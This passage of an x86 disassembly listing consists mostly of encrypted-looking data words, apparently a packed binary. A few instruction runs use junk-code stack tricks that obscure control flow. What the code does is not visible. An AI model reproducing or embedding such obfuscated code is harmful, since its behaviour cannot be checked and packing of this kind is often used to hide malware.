0E139DC25h dd 0CA91D092h, 0A01099h, 0DB2C0000h, 7BD98C18h, 0D45A22B4h dd 0CE81D121h, 6C1FAD70h, 71BD4B0Eh, 0C6CBDA2h, 41CF92F6h dd 0B0B806F5h, 14266635h, 98F6FC16h, 3F8F42ECh, 0DC921EE1h dd 0D937B202h, 0E4428E12h, 0D538971Dh, 31AED193h, 120287Eh dd 17C40000h, 9CB2975h, 8D12F7Bh, 2EDA3884h, 1FE64490h dd 3A5B4591h, 6AB63A01h, 6EBA440Ch, 70BC4A10h, 75C14F12h dd 85B88702h, 0DAF001F9h, 60BE17FBh, 0A5A0D97h, 0A12FF654h dd 905FDA55h, 0F60C67ADh, 4EAC62B2h, 0BF82FD8Bh, 2F309BE5h dd 0AB6DCB4Ah, 641A6A1Dh, 18DB3418h, 0B87BD98Ch, 0CDF1E02Ch dd 5851209Bh, 0B1FC13B3h, 0D6BE661h, 61EFB145h, 580E5E11h dd 61AD33FAh, 0B2CAF92h, 0E37134F0h, 0EE723997h, 5463B073h dd 0C6D8B34h, 0B6799C39h, 0D68CD27Eh, 834AA823h, 7FF147FDh dd 0D000000h, 79F4744Ah, 81B483FEh, 0DEF60C67h, 2409D88Eh dd 8DFC1A03h, 692C8A3Dh, 6E318FDBh, 0ECA467E2h, 2F46ABA4h dd 7443F6ACh, 2994C11Fh, 3E985BD6h, 130F59A9h, 2676FEC7h dd 6875CD70h, 77E9A4A5h, 0A4AD66A6h, 0E7AA0854h, 9C48A659h dd 8AB3FF2h, 54E0A32Eh, 0AC8F5ED9h, 0C8C98C84h, 0EFB3C964h dd 0E73711B3h, 0C487E531h, 0AC0A8538h, 0A89C5FE5h dd 54EAB751h, 3146A20h, 30000000h, 2EDB694Dh, 0BA7DDB8Eh dd 571D7B2Eh, 0F0B816C9h, 8E55B366h, 2AF14F02h, 0E995F3A6h dd 69329043h, 10D230E3h, 527ECF82h, 0C2815A54h, 4, 8704EA83h db 14h, 24h, 5Ch ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebp push 67B9h mov [esp], eax push 0F7Bh mov [esp], edx mov edx, 2BA62B85h dec edx sub edx, 25988F5Fh mov ebp, edx pop edx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop eax sub esp, 4 mov [esp], ebp sub dword ptr [esp], 5D7F249Dh pop dword ptr [eax+8] add dword ptr [eax+8], 5D7F249Dh push dword ptr [esp] pop eax add esp, 4 push dword ptr [esp] pop ebp add esp, 4 jmp loc_5438DD ; --------------------------------------------------------------------------- dd 0BC78AC94h, 90E9EC1Ah, 44A7F2FAh, 0B8E5A6E5h, 60DA02Eh dd 0E0FFC503h, 793B9099h, 376DB9DDh, 3BFE66D6h, 163B28D3h dd 45834391h, 737F7F33h, 5781EA18h, 13210786h, 4DB4EDE6h dd 1358446Fh, 7CD6795Fh, 1E6611E7h, 5A977EF0h, 4EE3676Eh dd 3888B370h, 9E8h, 0D3876B00h, 6C948130h, 8F0F6411h, 6 dd 830Fh, 0E9590000h, 14h, 0FEB5D6D7h, 0FDC5E9FBh, 97CD9657h dd 79EAA3CFh, 9F4505E3h, 6F6BC181h, 92B60000h, 0BBh, 0FF65B200h dd 60580B34h, 6CE98166h, 0C08161B9h, 3E1B38E0h, 0CFC0D681h dd 0C08176A0h, 2D1B6EB7h, 6880Fh, 0C2810000h, 5BC5C323h dd 0C23CE881h, 8A0F65E1h, 8, 2860Fh, 0D78B0000h, 0E9190489h dd 0Bh, 61676DDDh, 0C3754C6Ch, 668E1694h, 83132EBEh, 0B70F01EBh dd 4B4B4BD2h, 0FB81F18Ah, 0FFFF9184h, 25850Fh, 14E90000h dd 9B000000h, 0C7FBBCE7h, 2209D788h, 11D220C4h, 0FE7278D2h dd 0E9D0861Ah, 2Ch, 0A58A98C5h, 0FE5C804h, 780h, 18A0F00h dd 0F5000000h, 0FFFF5EE9h, 59783FFFh, 3B37CCFCh, 818D6BFAh dd 7C516DCFh, 83CCC8D5h, 0FE8h, 7F800A00h, 61455F3h, 740D4774h dd 547E02C4h, 0A049B950h, 5B5A3C6Ch, 0FBD6F281h, 0C3816FB9h dd 5CE8h, 11850F56h, 0E9000000h, 0Ch, 0D8B94945h, 25BB99E6h dd 0F0E90CB9h, 170BB85Ah, 94BA0000h, 0FF4E7912h, 5E833h dd 84A20000h, 66703389h, 5E5ACB8Bh, 4880Fh, 0BA660000h dd 0C681E852h, 1F30968h, 0EA816660h, 0F1810BE2h, 10AEC0C0h dd 0F2F68161h, 0F7C4A83h, 380h, 0C88B6600h, 0F23DEE81h dd 0FC564430h, 8E8038Fh, 0F9000000h, 0C18899Bh, 598815BEh dd 0F03EB83h, 0B89h, 6E900h, 0FB240000h, 5F22B2AFh, 0E883F94Bh dd 8C850F01h, 52FFFFFFh, 5F616052h, 83C08B5Fh, 70211BDh dd 9750006h, 0D65BD83h, 74000607h, 8B535019h, 421B8C0h dd 85890000h, 607302Dh, 0AAA89D8Dh, 0D3FF0609h, 0BD83585Bh dd 6070D65h, 50177400h, 421B853h, 85890000h, 607302Dh dd 0A7979D8Dh, 0D3FF0609h, 0C08B585Bh, 166D9D8Bh, 85C60607h dd 6071525h, 0B8526856h, 0B5FF9CA8h, 6071CBDh, 70F4858Dh dd 0D0FF060Ah, 68046Ah, 0FF000010h, 70EA9B5h, 0FF006A06h dd 0FC085D0h, 0D85h, 0B800h, 8D8D0000h, 6076EC1h, 0C88BE1FFh dd 4003C38Bh, 0F8053Ch, 508B0000h, 83D3030Ch, 720C5BDh dd 840F0006h, 0Eh, 20C59D8Bh, 858B0607h, 60718E5h, 52510389h dd 77ED858Dh, 0D0FF0607h, 0F18BFA8Bh, 0C88BD18Bh, 85C6A4F3h dd 6071525h, 6D396856h, 0B5FFD41Fh, 6071CBDh, 70F4858Dh dd 0D0FF060Ah, 800068h, 52006A00h, 0C08BD0FFh, 211BD83h dd 75000607h, 65BD8309h, 6070Dh, 53501974h, 21B8C08Bh dd 89000004h, 723A985h, 0F9D8D06h, 0FF0609ABh, 83585BD3h dd 70D65BDh, 17740006h, 21B85350h, 89000004h, 723A985h dd 0B09D8D06h, 0FF0609A7h, 8B585BD3h, 0C59D8DC0h, 8B060720h dd 0FC00B03h, 784h, 8B038B00h, 1889045Bh, 4B41B8h, 0AC04EB00h dd 0E92E6294h, 587h, 7BC76512h, 81CD5B1Dh, 86D25A23h, 86D27C28h dd 87D36128h, 743B7C9Dh, 7E46A4F0h, 884EACF8h, 8D50AEFAh dd 0C540B3FFh, 1C347F6h, 553918F0h, 0D98C18DBh, 9968E35Eh dd 0F60C679Ah, 91A473C3h, 0CEF60C67h, 7EAECF0Bh, 12621CA4h dd 7E37FE5Ch, 0CE48CAFh, 8756D1F6h, 0F60CE4B4h, 0B90959A9h dd 1977F26Dh, 0C818CB51h, 0CE43AF9h, 49F39FF6h, 0B691F6Fh dd 8E09BC48h, 29DF6D30h, 0C97C08CBh, 681BA96Bh, 0E8F54DF0h dd 0ED4B9725h, 9C9F6E27h, 3DF60CE4h, 0C111EB91h, 0E4C47746h dd 4999F60Ch, 894FADF9h, 0EB9E2AEDh, 3A984B9Bh, 0F671EC72h dd 0CE41427h, 43F949F6h, 0C159FC90h, 0D39A2EF4h, 0EC4A9A4Dh dd 4C9C2Ah, 9BF1C285h, 1FBB6B42h, 0C376FAC1h, 9C5FBD73h dd 0A28E5D10h, 0B6F60C95h, 0CE913B13h, 5BAD345Ah, 43E39979h dd 93C36581h, 0A2C1h, 43BEDD00h, 0C67C174h, 984E9EF6h dd 36E9773Ah, 0C67D667h, 50138EF6h, 8AC55792h, 0DC19CD69h dd 0EF551CDFh, 0E23CDF95h, 0A945CBAh, 0B1510757h, 93C33BEFh dd 12Fh, 19DB4B00h, 7A2DBB7Dh, 0AC27DA2Ah, 67D36231h, 3C8CF60Ch dd 0D8662886h, 602FAA25h, 0F60C67DDh, 1E7C3282h, 6EFCBE72h dd 0BE0A31Eh, 80CC5C29h, 1A594B1Bh, 92E26A1Ch, 41F54817h dd 1A6AF60Ch, 0BE39B164h, 0B10F9D60h, 5EAE61EFh, 0A02D05A8h dd 890450DEh, 0AD1652Bh, 3383D386h, 0D05C1F7Dh, 78A39255h dd 0A75EE3F4h, 0DBC1A5F1h, 0A7966514h, 0B8F60C67h, 570A985Ah dd 0B467B707h, 4CEFBE39h, 11F60C67h, 0EBAD0BC1h, 45E8AA5Dh dd 1819E0EDh, 1ACBAE8Ch, 1590E022h, 0FF68CB9Ah, 0A5F5F60Ch dd 41F78547h, 15B77AF5h, 2BDF80A0h, 4407651Bh, 0DEA705B8h dd 0A8F88648h, 45CF97F5h, 0E26C3492h, 97AF522Fh, 0D26C0F58h dd 65116FEAh, 3545F8C7h, 0BC1AF60Ch, 6A2070F6h, 0C37F18CAh dd 6C5893h, 0DB740000h, 7FDD9014h, 37B2EB6h, 63DEC660h dd 0C67A194h, 0B86EBEF6h, 0C10D935Ah, 9D189C63h, 3BEE763Fh dd 92A170EBh, 0CBF60C67h, 0B412C57Bh, 0F8A9F308h, 42058B51h dd 2575F9B1h, 50AE2972h, 0FB4BFE88h, 0FB88A245h, 93C36149h dd 4A89h, 14DBA500h, 26521590h, 73A36916h, 9DED8F3Bh, 10D634E7h dd 4FF2CF82h, 9D23EAF7h, 0FBBE6D51h, 7A26D56Eh, 0ED121D4h dd 0EEBDB322h, 0F60CAA4Fh, 0BA70C010h, 590C9A5Ch, 0CAAA68Ah dd 370FB2F6h, 0C3FBA668h, 1E693h, 0DB020000h, 79D78A12h dd 34AF2AB6h, 674BEAB9h, 0C414F60Ch, 0C6746F5h, 1F4F2EF6h dd 92DB7838h, 0A9A568B8h, 99BDEC26h, 76D4873Dh, 147225B3h dd 5215C84Eh, 0DF793C56h, 0EE9125DCh, 60039754h, 9C32FBC6h dd 48984BD9h, 5D1F7DF8h, 0DECD19CFh, 3E0D88E0h, 0FC134B72h dd 82E093E3h, 87E531BFh, 5FBD38C4h, 0A6590F9Dh, 0B9466D7h dd 23B177F0h, 0C2501270h, 0B78F320Fh, 2ADD632Ah, 0AAD8ADAh dd 56E2A530h, 45148F0Ah, 0F00B94F6h, 3611767h, 0A301B440h dd 43A154E0h, 9E24EA7Ch, 7B3D9B4Eh, 1BBE3AEDh, 5F02C403h dd 0A937FAC7h, 7C0AD02Eh, 77C379C9h, 0CB2215D7h, 39FF5D99h dd 9C4FD59Dh, 0C346FC4Ch, 11Ah, 0F4744ADFh, 8676AA79h dd 6FBFFC13h, 8BAA79F4h, 50F00B79h, 0D626008Eh, 4C0F6D20h dd 0A9F05E4Dh, 0BA0ADEE4h, 0BF4D106Eh, 5DEBAE0Ch, 0ED45E8AAh dd 0BF811DE0h, 866E131h, 3BA94445h, 62EDA4E6h, 70105C12h dd 99CAF9AEh, 47EEh, 8D4A0A00h, 34037EF9h, 0F60C6701h dd 0B38D13DAh, 6332AD63h, 0F60C6860h, 0BDA8DDDh, 0F60C6728h dd 0F7BA1893h, 8F58B669h, 0B2025205h, 63C159FCh, 39971274h dd 0E636E977h, 0E7E6B530h, 58F60C68h, 8766BC08h, 82000000h dd 79F4744Ah, 81B483FEh, 0DEF60C67h, 0F1AECB8Eh, 0E4E81EE1h dd 506D5F2Eh, 82D2FC13h, 4AF654CFh, 0CD90EEA4h, 0D295F33Fh dd 55189346h, 8C931040h, 0DA8430CDh, 2987D727h, 5524DA66h dd 0F00B9AE9h, 37829C3Fh, 0AD9CE874h, 61DC5711h, 0FEB13B03h dd 0D429F8AEh, 3DFA1DFEh, 61BF3AEDh, 0FE5C129Eh, 66FAAD3Bh dd 3AC68DEBh, 0EB49E184h, 4B1A95D3h, 0FC105A36h, 0F5EAD89Bh dd 0DF2FB42Dh, 0D1DA1F8Bh dd 0F5459510h, 0FBBEC5A9h, 97AF47E0h, 0CCBB717Fh, 2CFB76F2h dd 0FC1AB1D7h, 0DB39EC3Ch, 0C8EA1918h, 2B436D7Dh, 169D60DBh dd 0E256109h, 2E7E0ACDh, 53B12C78h, 0EE4C028Ah, 1BEA9D2Bh dd 1876849Fh, 1EAB8326h, 2381CD5Bh, 0C321D460h, 2EC27517h dd 6326B38Bh, 36FC5AD5h, 7B87B685h, 88D8D86Eh, 7F358538h dd 8612D533h, 833480Bh, 2851E284h, 369BF72h, 85000000h dd 2EDB694Dh, 0BA7DDB8Eh, 571D7B2Eh, 0F0B816C9h, 8E55B366h dd 2AF14F02h, 0E995F3A6h, 69329043h, 10D230E3h, 687ECF82h dd 6E5Ch, 68242C89h, 3ACDh, 68241C89h, 1C26h, 68243489h dd 60DA437h, 83241C8Bh, 8B5404C4h, 0C4812434h, 4, 8B850h dd 0F0010000h, 89D98951h, 0FF585908h, 815E2434h, 4C4h dd 241C8B00h, 81E18951h, 4C1h, 4C18100h, 87000000h, 0E95C240Ch dd 0FFF9D2CDh, 7C5FBEF6h, 0B80604ABh, 60DA956h, 0E0FFC503h dd 0DB0DCFBh, 53DC1F55h, 506A342Ch, 7AFFC5F8h, 150B4F6Eh dd 72A76BA8h, 457C0233h, 4E129361h, 781CBC00h, 1C64E4DDh dd 58AE07B7h, 4030ED13h, 6AD9A83Ah, 7A49EA4Dh, 14874242h dd 278AEB54h, 7564C97Ch, 6D45E3CEh, 0CC40CEFh, 5B9C02A4h dd 24FB2D88h, 14323BEAh, 5EAAA710h, 6145ABC2h, 7252B887h dd 0EE8h, 74DE9800h, 0A1AC8B9Fh, 337A42Ch, 60BC4510h, 57D6B70Fh dd 0BE9h, 9C1D8900h, 0E8597CB5h, 6588056Ch, 665A615Eh dd 0C281DA8Bh, 67D6h, 0CB6841B1h, 5E000019h, 0F32FFF8h dd 8A5FCFB7h, 0CAF781CCh, 0F0BD259h, 281h, 815EB300h, 0F07522F7h dd 5820F65h, 0B8000000h, 6C17737Eh, 0D887C781h, 10E869F9h dd 98000000h, 0ABE1AA00h, 51E3E5ABh, 0C3991E9Ah, 8A5240D8h dd 3A8958CAh, 96EA81FCh, 80334FD8h, 0C281C7EDh, 334FD892h dd 0DE8h, 0F6C7C900h, 0E056D950h, 17C7606Eh, 8B667558h dd 0EE8359C6h, 8A850F01h, 55FFFFFFh, 5E75FDEDh, 0A476F67Ah dd 0BC56E669h, 0A010FD49h, 8E76FD20h, 98B7FD20h, 1015FD20h dd 0D507FD20h, 37FDFD20h, 46DAFD20h, 0FEBBFD20h, 0A296FD20h dd 8FDDFD20h, 98AAFD20h, 120FFD20h, 0D668FD20h, 3449FD20h dd 452AFD20h, 0FCD6FD20h, 0A03AFD20h, 259DFD20h, 2295358Ah dd 4A76D6A2h, 0BD5CDE71h, 5A5CF44Bh, 2775FD7Ah, 9775F572h dd 0CB74FD79h, 0ED73FD78h, 0F374F57Dh, 7874FC7Bh, 0BC75FC7Bh dd 5E75FD7Ah, 5776FD7Ah, 3F75A77Eh, 0CB75A77Eh, 0E475FD7Ah dd 0F374FC7Bh, 9074FC7Bh, 0BC75F8B2h, 0A8F0701Ah, 0A673F0D4h dd 9ADED0FFh, 0C7F0707Ch, 6C73F0D5h, 0FFDF10FFh, 33F0707Ch dd 3573F0D5h, 53DED4FFh, 85F0707Ch, 1E73F0D4h, 0C6DF0CFFh dd 8CF0707Ch, 7B73F0D4h, 74DF08FFh, 0BBF0707Ch, 0D773F0D7h dd 22DF04FFh, 8EF0707Ch, 4273F0D7h, 0E8DF00FFh, 0DDF0707Ch dd 0F073F0D7h, 0B1DEFCFFh, 0D4F0707Ch, 0A673F0D7h, 9ADEF0FFh dd 9DF0707Ch, 6C73F0D7h, 0FFDEF8FFh, 0CF0707Ch, 3573F0D7h dd 53DEF4FFh, 0A5F0707Ch, 1E73F0D7h, 0C6DEF0FFh, 21F0707Ch dd 7B73F0D7h, 74DEE0FFh, 5FF0707Ch, 0D773F0D7h, 22DEDCFFh dd 91F0707Ch, 4273F0D4h, 0E8DED8FFh, 0BDF0707Ch, 0F073F0D4h dd 0B1DEECFFh, 0D8F0707Ch, 0A673F0D4h, 9ADEE8FFh, 0EAF0707Ch dd 6C73F0D5h, 0FFDEE4FFh, 0D0F0767Ch, 3573FA71h, 53DE9BFFh dd 22F0767Ch, 1E73FA4Ah, 0C6DE97FFh, 0B0B69C7Ch, 0F29D11F1h dd 2375FD7Ah, 100F17FBh, 0D525FB77h, 0ADFDF53Fh, 9178561Fh dd 0CFB73422h, 0B723AC7Ah, 1A20AD29h, 7975FD7Ah, 27987C27h dd 0A073F0D6h, 22DF11FFh, 7BC87D7Ch, 0CF73F0D0h, 0E4C5B409h dd 0F9B54B75h, 863589BAh, 0B1DE97EFh, 96FEBD7Ch, 2F7A452Bh dd 28AFD7Ah, 0CD785610h, 4F9848F7h, 0C6F8FB77h, 4B9D50FCh dd 0CF75FD7Eh, 5E76456Fh, 0BA8AFD7Ah, 91785610h, 619848F7h dd 0D1F8FB77h, 228A50FCh, 87BC1F23h, 0B1DF11F7h, 52DA07Ch dd 0EC2CA320h, 97776D92h, 0C1CD4D7Ah, 708A5779h, 0F478561Ch dd 79D3ED1h, 0DA75FD78h, 54CD9BC2h, 0D0DE9B59h, 9ADE9BEFh dd 8DE9B7Ch, 0E5779592h, 0F3360B7Ah, 866E8872h, 0B1DE9BEFh dd 54C54D7Ch, 0BA8AAD79h, 9178561Ch, 2BF69B20h, 277E9B7Eh dd 1AB6561Ch, 7975FF6Bh, 0BE4E1529h, 652FFD7Ah, 0A57B89A0h dd 94913D59h, 7F5DF70h, 83FE4DBAh, 9D3ED1h, 2A75FD7Bh dd 0BC77E192h, 844EA77Ah, 49C5120Eh, 7FA916D0h, 0CB75FCA7h dd 0ED74BE8Ch, 1A26D30Fh, 7975FF7Bh, 0BD360B20h, 65548872h dd 0A56889A0h, 94913D59h, 7F5DF70h, 0B5FF4DBAh, 59136885h dd 1F2FFB77h, 0DA51FD5Fh, 0F5133F71h, 85E94DB9h, 9774BD92h dd 61F44D7Ah, 0E5743592h, 0F22D157Ah, 91DEFD7Ah, 0BC75FC57h dd 9DDF60CAh, 0C7DF61CAh, 9775FC5Bh, 4A13451Ch, 439D561Ch dd 1A75FD7Bh, 7975FD4Ch, 0B69D561Ch, 0EE75FD7Bh, 9FB657E7h dd 699D57E6h, 2375FD7Ah, 0E575FCF3h, 0FA74BE8Ch, 0F9C5F20Fh dd 0BC6515D0h, 0DEDFFD7Ah, 487DF99Eh, 97AA1584h, 56C5FD7Ah dd 0E2CD3ED0h, 0D75FD7Ah, 74DE97EFh, 8DC0707Ch, 5D73F0D1h dd 2C7F518Ah, 0F1E002D0h, 873F0D1h, 0E574E592h, 0F8254D7Ah dd 4B9D5779h, 548A0284h, 5E75FC43h, 2C7FA5CAh, 0C7C53ED0h dd 61274DD0h, 1A8BE192h, 0FDCD9B85h, 91DE9B4Bh, 438A036Bh dd 0EEDFA7CAh, 9FB65722h, 3C225792h, 0CB750C92h, 22FEA77Ah dd 1AF63F51h, 9177747Eh, 438A008Bh, 5E750592h, 252D4D7Ah dd 69B65779h, 0C6DF1EFFh, 6C87D7Ch, 0F373F0D0h, 0FCF8EC0Fh dd 0BA78562Fh, 5C61152Ah, 1B9DFD7Ah, 2775FD78h, 759D571Ah dd 0D8A0287h, 0D8A00C3h, 87DF9CCAh, 0B1DF1EF7h, 0BDC87D7Ch dd 2F73F0D0h, 12F8F10Fh, 0CD78562Fh, 0E4DE152Ah, 4AB6FD7Ah dd 7975FD7Eh, 171F6885h, 0C3F8FB77h, 297852C8h, 3D6DF9F0h dd 619C4DB9h, 8E9D562Dh, 0A875FD7Ah, 0BB5E3AF1h, 357115F9h dd 0CB8A3E78h, 2978561Ch, 96514ACEh, 74C1FF0Eh, 4E13F2CAh dd 0F275C992h, 279DAE7Ah, 0E675FD7Ah, 0BEB5FEF0h, 25B5F179h dd 68B65778h, 0C6DE9BEFh, 0EA917D7Ch, 42F539FAh, 2EDE9B75h dd 415A15D1h, 0D52F0285h, 0ACB7D6BDh, 95FCF992h, 0CB7345B9h dd 708AFD7Ah, 0F4785610h, 0D23C60F7h, 0A0F8FB77h, 4ECD3E39h dd 0D075FD7Ah, 9ADE97EFh, 0CEB57E7Ch, 1A8935F1h, 0FFDE9BEFh dd 8E97577Ch, 43BE15B9h, 1DFF0285h, 5A72D97Bh, 7F76778Eh dd 0CB75FC6Ch, 1DB61608h, 0A7890883h, 0BDF611F1h, 0BC9D9D86h dd 475FD7Ah, 80B717FBh, 0EAFCFB77h, 0AECF7D86h, 0E573F0D1h dd 0F2EC7975h, 73CDFD7Ah, 4375FD7Ah, 53DE97E8h, 0ADFCBD7Ch dd 91785614h, 79F835F1h, 0E3784DECh, 59136F85h, 7FFDFB77h dd 4801F3Ch, 5E75FD6Dh, 841B7F79h, 1A35FB77h, 0C6C577E0h dd 0E1B67E7Ch, 4B22FEF3h, 7975FD64h, 171B7779h, 0ECF8FB77h dd 29784D02h, 2F2B5989h, 0CB75FD72h, 4E1F6F85h, 0AF6FB77h dd 7185897Eh, 0BC72447Ch, 5A7DFD7Ah, 0F7C3F24Bh, 2E761EBBh dd 0CB75FD74h, 5C44E172h, 0F275FD76h, 0C044F972h, 0BC75FD61h dd 0E744F972h, 2F75FD66h, 7F44F972h, 348A015Bh, 848980F3h dd 3B8980F1h, 7F9DADB9h, 9C75FD7Ah, 7A110222h, 6BFCA58Eh dd 16E9055Eh, 0B389D93Eh, 7867C92Ch, 0F2B6AD3Ah, 7975FD7Ah dd 0BC75FD7Ah, 0B2FEA87Ah, 2F75151Ah, 162FFD7Ah, 0C6C55490h dd 97CF707Ch, 7973F0D1h dd 71CCF50Fh, 4F75FD7Ah, 9CBC9CDEh, 0A226FD7Eh, 9ADE8FE7h dd 0D3497D7Ch, 0BE71887Bh, 0A9771683h, 0F2203E82h, 0BC9D9D96h dd 475FD7Ah, 9F9717FBh, 25F8FB77h, 0CD785608h, 5C7D80F1h dd 0F275FD72h, 0B0145989h, 0DC75F9B8h, 0F50740F7h, 0EF46FB77h dd 9775F5C3h, 0AADF0E7Ah, 58F89DB9h, 0F4785608h, 7874C2FBh dd 0B000FC7Bh, 5F7182FBh, 5A74FC7Bh, 969E0479h, 0ABB69C82h dd 4E0740F7h, 0F3CDFB77h, 0C075FD7Ah, 0BC75FD72h, 9D145789h dd 0EFFE3DF1h, 3C0A78F7h, 0D08AFB77h, 8D8DCA8Bh, 60DB27Eh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 43C35646h dd 0C9FDEF9Dh, 18D8952h, 6A06070Ah, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 0E9E0C355h dd 8, 12A9A9FEh, 54FB5BAAh, 14A585C7h, 62400607h, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h dd 0A0900FC3h, 9D299F70h, 60714E1h, 2FD585C7h, 607h, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h dd 995D45C3h, 0B2AAE500h, 0D99D89C1h, 6606071Fh, 9092C381h dd 45DB5FFh, 6A0607h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 180424h, 51410000h, 49245FC3h, 0BD31BB3Ah, 6070349h dd 1C1995FFh, 6A0607h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1D0424h, 53430000h, 2EF7E3C3h, 0DA3AAEF5h, 0F6216C0h dd 68Fh, 81858B00h, 0BB06071Ch, 5BB8FF65h, 95FF006Ah, 6071B69h dd 7DEBC08Bh, 64E68D0Eh, 2E173DBEh, 0EAE0B2D5h, 1D784338h dd 0DF2BF3B5h, 52C7F511h, 0B86D94D0h, 0BC58686Eh, 21A2977Ah dd 8CD15B78h, 3DB767D3h, 8D640B96h, 6ACE9154h, 8D8ED297h dd 0D96B3666h, 323E60AFh, 537B966Dh, 17810597h, 0DA123962h dd 2DDAD28h, 0B1DC605Dh, 0A5A42A7Ah, 0BC640CBEh, 0DBF0BAC6h dd 0F7603E9Eh, 0ABCF2FA5h, 6AE1DB69h, 1CFE9CD0h, 0B79B4FBDh dd 0D8941D11h, 5A6A33FBh, 2AE9E1h, 4C70000h, 24h, 0E800h dd 815D0000h, 0DB311EDh, 24448B06h, 39858904h, 0B806071Bh dd 0 dd 4B4A8D8Dh, 0E1FF0607h, 6754B8h, 3BE900h, 8B600000h dd 700B5BDh, 4EF8306h, 0C18BC933h, 0B88320BBh, 4C783EDh dd 8BEh, 1BE8D100h, 33D323D2h, 850F4EC2h, 0FFFFFFF1h, 81078941h dd 100F9h, 0D3820F00h, 61FFFFFFh, 8DC88BC3h, 729319Dh dd 1434B806h, 85890000h, 6071175h, 0E8h, 0D055800h, 89000000h dd 1434E903h, 50Dh dup(0) dd 8D8D0000h, 60DC89Bh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 14h, 16C35141h, 0A018D89h, 6A0607h, 3E850h dd 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h dd 9666EDC3h, 0F3D5898Eh, 660419CBh, 85C7F98Bh, 60714A5h dd 6998h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 18h, 54C35141h, 13A0690Eh, 2FD585C7h, 607h, 85890000h dd 6072065h, 319B5FFh, 95FF0607h, 6071C19h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0B6C35040h, 9AC295F1h dd 0F4AFBE1h, 0D2816656h, 8D8984D3h, 6070415h, 0FF006AFCh dd 71B6995h, 0EBC08B06h, 9EA8732Ch, 8A83EA6Dh, 0C757B43Eh dd 8AB97BE4h, 4634100Ch, 0E8FC95B3h, 37DA6B19h, 6489EF69h dd 0B516ED5Bh, 8D7E4D3Eh, 7D2FC3D6h, 0AE877h, 0DBD60000h dd 57ADA74h, 8CDD9FB6h, 68E0Fh, 0B5890000h, 6070DDDh, 6B5ABE5Bh dd 0C381287Ah, 6D49h, 5A63B056h, 0B9h, 4D858900h, 0FF06071Ch dd 0F28B1934h, 96C7815Fh, 8969BD0Bh, 71D35BDh, 64EF8106h dd 0F09A75Fh, 680h, 4DBD8900h, 81060733h, 228B6EC7h, 89D78B66h dd 858B0B3Ch, 6072E31h, 0E981F48Ah, 357182A9h, 2001858Bh dd 0C1810607h, 357182A5h, 5F576060h, 820Fh, 81610000h dd 4CF034D0h, 0F981611Ah, 0FFFF9380h, 1E850Fh, 85290000h dd 607198Dh, 2AE9h, 0FEBAAC00h, 0CD804892h, 0C065C51h dd 49C127CCh, 0FC33B55Dh, 0F78B6651h, 0FF71E95Eh, 102EFFFFh dd 0BF467806h, 8BC9A41Eh, 0EB5D0D26h, 16h, 4 dup(0) dd 0A4010100h, 0D000003h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 90D98AA6h dd 0B350D4B7h, 6A9079h, 3E850h, 58200000h, 448958C3h, 44810424h dd 170424h, 50400000h, 980FACC3h, 7D9589D4h, 6A060702h dd 7FEB8100h, 6A0BB10Fh, 0E98D0B00h, 8D060723h, 0DCAD785h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h dd 0C3534300h, 8A2B7CDFh, 13E850CFh, 0F4000000h, 62B2C6Eh dd 254E891h, 633D326Eh, 0F97FC63Bh, 0D98BE69Fh, 2404895Bh dd 6A006AF9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1404h, 0C3554500h, 0B2CB8BF9h, 3595FF7Ch, 6A060713h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 16042444h dd 42000000h, 2303C352h, 0A98D03C8h, 0E906072Ch, 6CCh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0ECC35545h dd 8F448180h, 661EAE51h, 0EF0AD981h, 0E8h, 0ED815D00h dd 60DCADCh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 16h, 38C35242h, 0EF812F0Dh, 170A3B8h, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 1Bh, 0F5C35141h, 33137EFBh dd 80680CE2h, 2068B6EDh, 50D43C86h, 0F525052h, 0F585A31h dd 2830F31h, 60000000h, 81585A61h, 89802404h, 6A2BC3h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h dd 185C83C3h, 19DDDA69h, 9E9F7D6h, 0AC000000h, 9C688288h dd 84496616h, 1B6995FFh, 8D8B0607h, 6071971h, 0C9A0B58Dh dd 6A060Dh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h dd 56460000h, 0A718FAC3h, 8796C1CAh, 5E8h, 0F5508200h dd 0B589A5B0h, 6072835h, 5206C759h, 6A6D6765h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h dd 0D8B8C350h, 1546BE1Fh, 8E4C0FA0h, 2DB59D0Bh, 46C70607h dd 636E6F04h, 57006A6Ch, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1804h, 0C3574700h, 0EFBA9FDDh, 8D2B6010h, 6072385h dd 6C22BF66h, 846C761h, 737361h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Dh, 8DC35545h, 0F0E81D7Dh, 0BA65E319h dd 0BF006A9Dh, 37025444h, 0C9A0858Dh, 6A060Dh, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 3C648CC3h, 0A1057717h, 9D29E90Bh, 6071E69h, 0CE990h dd 0D6560000h, 217D8966h, 0AFAD7241h, 505049F4h, 12E8h dd 85A7E900h, 20E95C42h, 99C0C341h, 0A979D0CDh, 66D19842h dd 5959F98Bh, 52006A90h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h 